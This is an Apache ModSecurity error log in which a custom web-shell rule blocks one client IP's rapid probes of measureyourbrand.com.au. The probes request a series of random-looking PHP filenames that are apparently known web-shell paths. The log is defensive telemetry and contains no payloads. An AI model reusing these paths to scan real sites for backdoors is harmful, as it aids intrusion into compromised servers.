[Sun Apr 19 02:45:41.572914 2026] [:error] [pid 33517:tid 33538] [client 20.91.197.181:52627] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aePRVX4Zz-rubR1wiZ-8NwAAANM"]
[Sun Apr 19 02:45:42.174822 2026] [:error] [pid 41277:tid 41292] [client 20.91.197.181:52611] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aePRVkH3ayszMLZYflsG6QAAAY0"]
[Sun Apr 19 02:45:42.943842 2026] [:error] [pid 32167:tid 32246] [client 20.91.197.181:52036] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aePRVkyD4Jm27Mb3NJiYDgAAAJU"]
[Sun Apr 19 02:45:43.969264 2026] [:error] [pid 32167:tid 32225] [client 20.91.197.181:49984] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "aePRV0yD4Jm27Mb3NJiYFQAAAIA"]
[Sun Apr 19 02:45:44.769481 2026] [:error] [pid 33517:tid 33537] [client 20.91.197.181:55229] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "aePRWH4Zz-rubR1wiZ-8OwAAANI"]
[Sun Apr 19 02:45:54.433034 2026] [:error] [pid 32165:tid 32192] [client 20.91.197.181:52663] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HLA-dd.php"] [unique_id "aePRYqe2vKwEk_N0BrYAWQAAABc"]
[Sun Apr 19 02:45:55.051412 2026] [:error] [pid 33517:tid 33529] [client 20.91.197.181:55202] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HLA-dd.php"] [unique_id "aePRY34Zz-rubR1wiZ-8RwAAAMo"]
[Sun Apr 19 02:45:55.626132 2026] [:error] [pid 32252:tid 32269] [client 20.91.197.181:52554] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HLA-dd.php"] [unique_id "aePRY-Xl4Yc-Lt5fJ9itEAAAAQ8"]
[Sun Apr 19 02:45:56.327694 2026] [:error] [pid 32167:tid 32243] [client 20.91.197.181:55539] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/HLA-dd.php"] [unique_id "aePRZEyD4Jm27Mb3NJiYWgAAAJI"]
[Sun Apr 19 02:45:57.002290 2026] [:error] [pid 41277:tid 41279] [client 20.91.197.181:47361] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "aePRZUH3ayszMLZYflsG8AAAAYA"]
[Sun Apr 19 02:45:57.567109 2026] [:error] [pid 32167:tid 32231] [client 20.91.197.181:50047] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "aePRZUyD4Jm27Mb3NJiYXwAAAIY"]
[Sun Apr 19 02:45:58.238705 2026] [:error] [pid 32166:tid 32217] [client 20.91.197.181:50030] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "aePRZpCHNkWwdiZnafLX8gAAAFM"]
[Sun Apr 19 02:45:58.930717 2026] [:error] [pid 32252:tid 32270] [client 20.91.197.181:55188] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "aePRZuXl4Yc-Lt5fJ9itFwAAARA"]
[Sun Apr 19 02:45:59.531874 2026] [:error] [pid 60910:tid 60922] [client 20.91.197.181:47402] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/SS72_kKKjT.php"] [unique_id "aePRZ3FWunkyacYqsD1NtAAAAUo"]
[Sun Apr 19 02:46:00.400396 2026] [:error] [pid 33517:tid 33524] [client 20.91.197.181:52651] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/SS72_kKKjT.php"] [unique_id "aePRaH4Zz-rubR1wiZ-8SQAAAMU"]
[Sun Apr 19 02:46:01.643569 2026] [:error] [pid 60910:tid 60918] [client 20.91.197.181:47418] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/SS72_kKKjT.php"] [unique_id "aePRaXFWunkyacYqsD1NuAAAAUY"]
[Sun Apr 19 02:46:02.695379 2026] [:error] [pid 41277:tid 41297] [client 20.91.197.181:47397] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/SS72_kKKjT.php"] [unique_id "aePRakH3ayszMLZYflsG8wAAAZI"]
[Sun Apr 19 02:46:03.421141 2026] [:error] [pid 33517:tid 33523] [client 20.91.197.181:47404] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Spow_SRw.php"] [unique_id "aePRa34Zz-rubR1wiZ-8TAAAAMQ"]
[Sun Apr 19 02:46:04.067501 2026] [:error] [pid 33517:tid 33526] [client 20.91.197.181:52640] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Spow_SRw.php"] [unique_id "aePRbH4Zz-rubR1wiZ-8TQAAAMc"]
[Sun Apr 19 02:46:04.600323 2026] [:error] [pid 32167:tid 32245] [client 20.91.197.181:47400] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Spow_SRw.php"] [unique_id "aePRbEyD4Jm27Mb3NJiYZQAAAJQ"]
[Sun Apr 19 02:46:05.218811 2026] [:error] [pid 32167:tid 32230] [client 20.91.197.181:55537] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Spow_SRw.php"] [unique_id "aePRbUyD4Jm27Mb3NJiYZgAAAIU"]
[Sun Apr 19 02:46:05.844618 2026] [:error] [pid 41277:tid 41287] [client 20.91.197.181:47366] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "aePRbUH3ayszMLZYflsG-AAAAYg"]
[Sun Apr 19 02:46:06.394389 2026] [:error] [pid 32165:tid 32173] [client 20.91.197.181:55170] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "aePRbqe2vKwEk_N0BrYAWwAAAAQ"]
[Sun Apr 19 02:46:06.930603 2026] [:error] [pid 32165:tid 32180] [client 20.91.197.181:55525] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "aePRbqe2vKwEk_N0BrYAXQAAAAs"]
[Sun Apr 19 02:46:07.544968 2026] [:error] [pid 32165:tid 32181] [client 20.91.197.181:52662] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "aePRb6e2vKwEk_N0BrYAXwAAAAw"]
[Sun Apr 19 02:46:08.094036 2026] [:error] [pid 60910:tid 60929] [client 20.91.197.181:55542] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blqjs.php"] [unique_id "aePRcHFWunkyacYqsD1NxAAAAVE"]
[Sun Apr 19 02:46:08.712544 2026] [:error] [pid 60910:tid 60930] [client 20.91.197.181:47383] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blqjs.php"] [unique_id "aePRcHFWunkyacYqsD1NxQAAAVI"]
[Sun Apr 19 02:46:09.254273 2026] [:error] [pid 60910:tid 60914] [client 20.91.197.181:50022] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blqjs.php"] [unique_id "aePRcXFWunkyacYqsD1NyAAAAUI"]
[Sun Apr 19 02:46:09.863431 2026] [:error] [pid 60910:tid 60928] [client 20.91.197.181:47374] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blqjs.php"] [unique_id "aePRcXFWunkyacYqsD1N0AAAAVA"]
[Sun Apr 19 02:46:10.408951 2026] [:error] [pid 60910:tid 60929] [client 20.91.197.181:50029] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyflv.php"] [unique_id "aePRcnFWunkyacYqsD1N1AAAAVE"]
[Sun Apr 19 02:46:11.008999 2026] [:error] [pid 41277:tid 41282] [client 20.91.197.181:51056] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyflv.php"] [unique_id "aePRc0H3ayszMLZYflsHBQAAAYM"]
[Sun Apr 19 02:46:11.551694 2026] [:error] [pid 41277:tid 41281] [client 20.91.197.181:50037] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyflv.php"] [unique_id "aePRc0H3ayszMLZYflsHCAAAAYI"]
[Sun Apr 19 02:46:12.125599 2026] [:error] [pid 60910:tid 60923] [client 20.91.197.181:55181] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fyflv.php"] [unique_id "aePRdHFWunkyacYqsD1N3QAAAUs"]
[Sun Apr 19 02:46:12.708026 2026] [:error] [pid 41277:tid 41285] [client 20.91.197.181:52076] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iindv.php"] [unique_id "aePRdEH3ayszMLZYflsHCwAAAYY"]
[Sun Apr 19 02:46:13.292687 2026] [:error] [pid 60910:tid 60920] [client 20.91.197.181:52637] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iindv.php"] [unique_id "aePRdXFWunkyacYqsD1N4AAAAUg"]
[Sun Apr 19 02:46:14.602793 2026] [:error] [pid 41277:tid 41283] [client 20.91.197.181:52649] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iindv.php"] [unique_id "aePRdkH3ayszMLZYflsHDQAAAYQ"]
[Sun Apr 19 02:46:15.140062 2026] [:error] [pid 60910:tid 60924] [client 20.91.197.181:52614] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/iindv.php"] [unique_id "aePRd3FWunkyacYqsD1N5gAAAUw"]
[Sun Apr 19 02:46:15.694717 2026] [:error] [pid 60910:tid 60926] [client 20.91.197.181:52072] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wkogn.php"] [unique_id "aePRd3FWunkyacYqsD1N6QAAAU4"]
[Sun Apr 19 02:46:16.248243 2026] [:error] [pid 32167:tid 32226] [client 20.91.197.181:52557] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wkogn.php"] [unique_id "aePReEyD4Jm27Mb3NJiYagAAAIE"]
[Sun Apr 19 02:46:16.895271 2026] [:error] [pid 32167:tid 32228] [client 20.91.197.181:52559] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wkogn.php"] [unique_id "aePReEyD4Jm27Mb3NJiYbAAAAIM"]
[Sun Apr 19 02:46:17.463750 2026] [:error] [pid 60910:tid 60930] [client 20.91.197.181:52078] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wkogn.php"] [unique_id "aePReXFWunkyacYqsD1N7wAAAVI"]
[Sun Apr 19 02:46:18.001926 2026] [:error] [pid 32252:tid 32266] [client 20.91.197.181:52058] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wwdgl.php"] [unique_id "aePReuXl4Yc-Lt5fJ9itMgAAAQw"]
[Sun Apr 19 02:46:18.571649 2026] [:error] [pid 60910:tid 60922] [client 20.91.197.181:52043] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wwdgl.php"] [unique_id "aePRenFWunkyacYqsD1N8QAAAUo"]
[Sun Apr 19 02:46:19.134951 2026] [:error] [pid 32252:tid 32278] [client 20.91.197.181:50019] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wwdgl.php"] [unique_id "aePRe-Xl4Yc-Lt5fJ9itNQAAARg"]
[Sun Apr 19 02:46:19.887645 2026] [:error] [pid 60910:tid 60935] [client 20.91.197.181:52049] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wwdgl.php"] [unique_id "aePRe3FWunkyacYqsD1N9AAAAVc"]
[Sun Apr 19 02:46:20.481337 2026] [:error] [pid 32166:tid 32215] [client 20.91.197.181:47390] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "aePRfJCHNkWwdiZnafLX_AAAAFE"]
[Sun Apr 19 02:46:21.085764 2026] [:error] [pid 32167:tid 32227] [client 20.91.197.181:47411] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "aePRfUyD4Jm27Mb3NJiYcwAAAII"]
[Sun Apr 19 02:46:21.695791 2026] [:error] [pid 32167:tid 32238] [client 20.91.197.181:51813] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "aePRfUyD4Jm27Mb3NJiYdgAAAI0"]
[Sun Apr 19 02:46:22.264128 2026] [:error] [pid 32167:tid 32248] [client 20.91.197.181:49795] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "aePRfkyD4Jm27Mb3NJiYeAAAAJc"]
[Sun Apr 19 02:46:22.974556 2026] [:error] [pid 32252:tid 32268] [client 20.91.197.181:52059] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aePRfuXl4Yc-Lt5fJ9itQgAAAQ4"]
[Sun Apr 19 02:46:23.565132 2026] [:error] [pid 41277:tid 41292] [client 20.91.197.181:50035] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aePRf0H3ayszMLZYflsHGwAAAY0"]
[Sun Apr 19 02:46:24.153915 2026] [:error] [pid 32167:tid 32234] [client 20.91.197.181:55502] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aePRgEyD4Jm27Mb3NJiYewAAAIk"]
[Sun Apr 19 02:46:24.745738 2026] [:error] [pid 32167:tid 32225] [client 20.91.197.181:55491] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aePRgEyD4Jm27Mb3NJiYfgAAAIA"]
[Sun Apr 19 02:46:25.367418 2026] [:error] [pid 32167:tid 32232] [client 20.91.197.181:52653] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxivicLhot.php"] [unique_id "aePRgUyD4Jm27Mb3NJiYggAAAIc"]
[Sun Apr 19 02:46:25.950729 2026] [:error] [pid 32167:tid 32241] [client 20.91.197.181:51045] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxivicLhot.php"] [unique_id "aePRgUyD4Jm27Mb3NJiYhgAAAJA"]
